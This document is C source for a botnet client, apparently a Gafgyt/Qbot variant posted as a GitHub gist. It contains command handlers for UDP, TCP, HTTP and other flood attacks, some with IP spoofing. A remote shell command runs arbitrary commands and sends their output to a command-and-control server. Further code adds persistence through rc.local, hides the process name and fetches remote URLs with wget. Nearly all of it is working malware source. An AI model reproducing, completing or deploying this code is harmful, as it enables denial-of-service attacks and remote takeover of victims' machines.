if(strstr(ip, ",") != NULL) | |
{ | |
unsigned char *hi = strtok(ip, ","); | |
while(hi != NULL) | |
{ | |
if(!listFork()) | |
{ | |
sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime); | |
_exit(0); | |
} | |
hi = strtok(NULL, ","); | |
} | |
} else { | |
if (!listFork()){ | |
sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime); | |
_exit(0); | |
} | |
} | |
return; | |
} | |
if(!strcmp(argv[0], "TCP")) | |
{ | |
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1)) | |
{ | |
sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)"); | |
return; | |
} | |
unsigned char *ip = argv[1]; | |
int port = atoi(argv[2]); | |
int time = atoi(argv[3]); | |
int spoofed = atoi(argv[4]); | |
unsigned char *flags = argv[5]; | |
int pollinterval = argc == 8 ? atoi(argv[7]) : 10; | |
int psize = argc > 6 ? atoi(argv[6]) : 0; | |
if(strstr(ip, ",") != NULL) | |
{ | |
unsigned char *hi = strtok(ip, ","); | |
while(hi != NULL) | |
{ | |
if(!listFork()) | |
{ | |
sendTCP(hi, port, time, spoofed, flags, psize, pollinterval); | |
_exit(0); | |
} | |
hi = strtok(NULL, ","); | |
} | |
} else { | |
if (!listFork()) { | |
sendTCP(ip, port, time, spoofed, flags, psize, pollinterval); | |
_exit(0); | |
} | |
} | |
} | |
if (!strcmp(argv[0], "HTTP")) | |
{ | |
// !* HTTP METHOD TARGET PORT PATH TIME POWER | |
if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return; | |
if (listFork()) return; | |
SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6])); | |
exit(0); | |
} | |
if(!strcmp(argv[0], "VIEWPAGE")) | |
{ | |
if(argc < 2){ | |
sockprintf(mainCommSock, "VIEWPAGE <http ip url>"); | |
return; | |
}else{ | |
char *url = argv[1]; | |
char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))]; | |
system("mkdir /tmp/yuagwduiagwdhg"); | |
char *command[80]; | |
sprintf(command,"wget -O /tmp/yuagwduiagwdhg/a -U \""); | |
strcat(command, UA); | |
strcat(command,"\" -q "); | |
strcat(command, url); | |
system(command); | |
system("rm -fr /tmp/yuagwduiagwdhg"); | |
} | |
} | |
if(!strcmp(argv[0], "CNC")) | |
{ | |
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) | |
{ | |
sockprintf(mainCommSock, "CNC <target> <port> <time>"); | |
return; | |
} | |
unsigned char *ip = argv[1]; | |
int port = atoi(argv[2]); | |
int time = atoi(argv[3]); | |
if(strstr(ip, ",") != NULL) | |
{ | |
unsigned char *hi = strtok(ip, ","); | |
while(hi != NULL) | |
{ | |
if(!listFork()) | |
{ | |
sendCNC(hi, port, time); | |
close(mainCommSock); | |
_exit(0); | |
} | |
hi = strtok(NULL, ","); | |
} | |
} else { | |
if (listFork()) { return; } | |
sendCNC(ip, port, time); | |
_exit(0); | |
} | |
} | |
if(!strcmp(argv[0], "STD")) | |
{ | |
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) | |
{ | |
sockprintf(mainCommSock, "STD <target> <port> <time>"); | |
return; | |
} | |
unsigned char *ip = argv[1]; | |
int port = atoi(argv[2]); | |
int time = atoi(argv[3]); | |
if(strstr(ip, ",") != NULL) | |
{ | |
unsigned char *hi = strtok(ip, ","); | |
while(hi != NULL) | |
{ | |
if(!listFork()) | |
{ | |
sendSTD(hi, port, time); | |
_exit(0); | |
} | |
hi = strtok(NULL, ","); | |
} | |
} else { | |
if (listFork()) { return; } | |
sendSTD(ip, port, time); | |
_exit(0); | |
} | |
} | |
if(!strcmp(argv[0], "KILLATTK")) | |
{ | |
int killed = 0; | |
unsigned long i; | |
for (i = 0; i < numpids; i++) { | |
if (pids[i] != 0 && pids[i] != getpid()) { | |
kill(pids[i], 9); | |
killed++; | |
} | |
} | |
if(killed > 0) | |
{ | |
sockprintf(mainCommSock, "Killed %d.", killed); | |
} else { | |
sockprintf(mainCommSock, "None Killed."); | |
} | |
} | |
if(!strcmp(argv[0], "LOLNOGTFO")) | |
{ | |
exit(0); | |
} | |
} | |
int initConnection() | |
{ | |
unsigned char server[4096]; | |
memset(server, 0, 4096); | |
if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } | |
if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0; | |
else currentServer++; | |
strcpy(server, commServer[currentServer]); | |
int port = 23; | |
if(strchr(server, ':') != NULL) | |
{ | |
port = atoi(strchr(server, ':') + 1); | |
*((unsigned char *)(strchr(server, ':'))) = 0x0; | |
} | |
mainCommSock = socket(AF_INET, SOCK_STREAM, 0); | |
if(!connectTimeout(mainCommSock, server, port, 30)) return 1; | |
return 0; | |
} | |
int getOurIP() | |
{ | |
int sock = socket(AF_INET, SOCK_DGRAM, 0); | |
if(sock == -1) return 0; | |
struct sockaddr_in serv; | |
memset(&serv, 0, sizeof(serv)); | |
serv.sin_family = AF_INET; | |
serv.sin_addr.s_addr = inet_addr("8.8.8.8"); | |
serv.sin_port = htons(53); | |
int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv)); | |
if(err == -1) return 0; | |
struct sockaddr_in name; | |
socklen_t namelen = sizeof(name); | |
err = getsockname(sock, (struct sockaddr*) &name, &namelen); | |
if(err == -1) return 0; | |
ourIP.s_addr = name.sin_addr.s_addr; | |
int cmdline = open("/proc/net/route", O_RDONLY); | |
char linebuf[4096]; | |
while(fdgets(linebuf, 4096, cmdline) != NULL) | |
{ | |
if(strstr(linebuf, "\t00000000\t") != NULL) | |
{ | |
unsigned char *pos = linebuf; | |
while(*pos != '\t') pos++; | |
*pos = 0; | |
break; | |
} | |
memset(linebuf, 0, 4096); | |
} | |
close(cmdline); | |
if(*linebuf) | |
{ | |
int i; | |
struct ifreq ifr; | |
strcpy(ifr.ifr_name, linebuf); | |
ioctl(sock, SIOCGIFHWADDR, &ifr); | |
for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i]; | |
} | |
close(sock); | |
} | |
char *getBuild() | |
{ | |
#ifdef MIPS_BUILD | |
return "MIPS"; | |
#elif MIPSEL_BUILD | |
return "MIPSEL"; | |
#elif X86_BUILD | |
return "X86"; | |
#elif ARM_BUILD | |
return "ARM"; | |
#elif PPC_BUILD | |
return "POWERPC"; | |
#else | |
return "PROMETHEUS"; | |
#endif | |
} | |
int main(int argc, unsigned char *argv[]) | |
{ | |
char *mynameis = ""; | |
if(SERVER_LIST_SIZE <= 0) return 0; | |
printf("BUILD %s\n", getBuild()); | |
strncpy(argv[0],"",strlen(argv[0])); | |
argv[0] = ""; | |
prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0); | |
srand(time(NULL) ^ getpid()); | |
init_rand(time(NULL) ^ getpid()); | |
pid_t pid1; | |
pid_t pid2; | |
int status; | |
int dupthing = 0; | |
char cwd[256],*str; | |
FILE *file; | |
str="/etc/rc.d/rc.local"; | |
file=fopen(str,"r"); | |
if (file == NULL) { | |
str="/etc/rc.conf"; | |
file=fopen(str,"r"); | |
} | |
if (file != NULL) { | |
char outfile[256], buf[1024]; | |
int i=strlen(argv[0]), d=0; | |
getcwd(cwd,256); | |
if (strcmp(cwd,"/")) { | |
while(argv[0][i] != '/') i--; | |
sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i); | |
while(!feof(file)) { | |
fgets(buf,1024,file); | |
if (!strcasecmp(buf,outfile)) d++; | |
} | |
if (d == 0) { | |
FILE *out; | |
fclose(file); | |
out=fopen(str,"a"); | |
if (out != NULL) { | |
fputs(outfile,out); | |
fclose(out); | |
} | |
} | |
else fclose(file); | |
} | |
else fclose(file); | |
} | |
getOurIP(); | |
if (pid1 = fork()) { | |
waitpid(pid1, &status, 0); | |
exit(0); | |
} else if (!pid1) { | |
if (pid2 = fork()) { | |
exit(0); | |
} else if (!pid2) { | |
} else { | |
zprintf("fork failed\n"); | |
} | |
} else { | |
zprintf("fork failed\n"); | |
} | |
setsid(); | |
chdir("/"); | |
signal(SIGPIPE, SIG_IGN); | |
while(1) | |
{ | |
if(initConnection()) { sleep(30); continue; } | |
sockprintf(mainCommSock, "BUILD %s", getBuild()); | |
char commBuf[4096]; | |
int got = 0; | |
int i = 0; | |
while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) | |
{ | |
for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) { | |
unsigned int *newpids, on; | |
for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on]; | |
pids[on - 1] = 0; | |
numpids--; | |
newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int)); | |
for (on = 0; on < numpids; on++) newpids[on] = pids[on]; | |
free(pids); | |
pids = newpids; | |
} | |
commBuf[got] = 0x00; | |
trim(commBuf); | |
if(strstr(commBuf, "PING") == commBuf) | |
{ | |
sockprintf(mainCommSock, "PONG"); | |
continue; | |
} | |
if(strstr(commBuf, "DUP") == commBuf){ | |
dupthing++; | |
zprintf("Fuck DUPS\n"); | |
if(dupthing > 20){ | |
exit(0); | |
} | |
break; | |
} | |
unsigned char *message = commBuf; | |
if(*message == '!') | |
{ | |
unsigned char *nickMask = message + 1; | |
while(*nickMask != ' ' && *nickMask != 0x00) nickMask++; | |
if(*nickMask == 0x00) continue; | |
*(nickMask) = 0x00; | |
nickMask = message + 1; | |
message = message + strlen(nickMask) + 2; | |
while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00; | |
unsigned char *command = message; | |
while(*message != ' ' && *message != 0x00) message++; | |
*message = 0x00; | |
message++; | |
unsigned char *tmpcommand = command; | |
while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; } | |
if(strcmp(command, "SH") == 0) | |
{ | |
unsigned char buf[1024]; | |
int command; | |
if (listFork()) continue; | |
memset(buf, 0, 1024); | |
szprintf(buf, "%s 2>&1", message); | |
command = fdpopen(buf, "r"); | |
while(fdgets(buf, 1024, command) != NULL) | |
{ | |
trim(buf); | |
sockprintf(mainCommSock, "%s", buf); | |
memset(buf, 0, 1024); | |
sleep(1); | |
} | |
fdpclose(command); | |
exit(0); | |
} | |
unsigned char *params[10]; | |
int paramsCount = 1; | |
unsigned char *pch = strtok(message, " "); | |
params[0] = command; | |
while(pch) | |
{ | |
if(*pch != '\n') | |
{ | |
params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1); | |
memset(params[paramsCount], 0, strlen(pch) + 1); | |
strcpy(params[paramsCount], pch); | |
paramsCount++; | |
} | |
pch = strtok(NULL, " "); | |
} | |
processCmd(paramsCount, params); | |
if(paramsCount > 1) | |
{ | |
int q = 1; | |
for(q = 1; q < paramsCount; q++) | |
{ | |
free(params[q]); | |
} | |
} | |
} | |
} | |
sleep(30); | |
} | |
return 0; | |
printf("client exiting"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment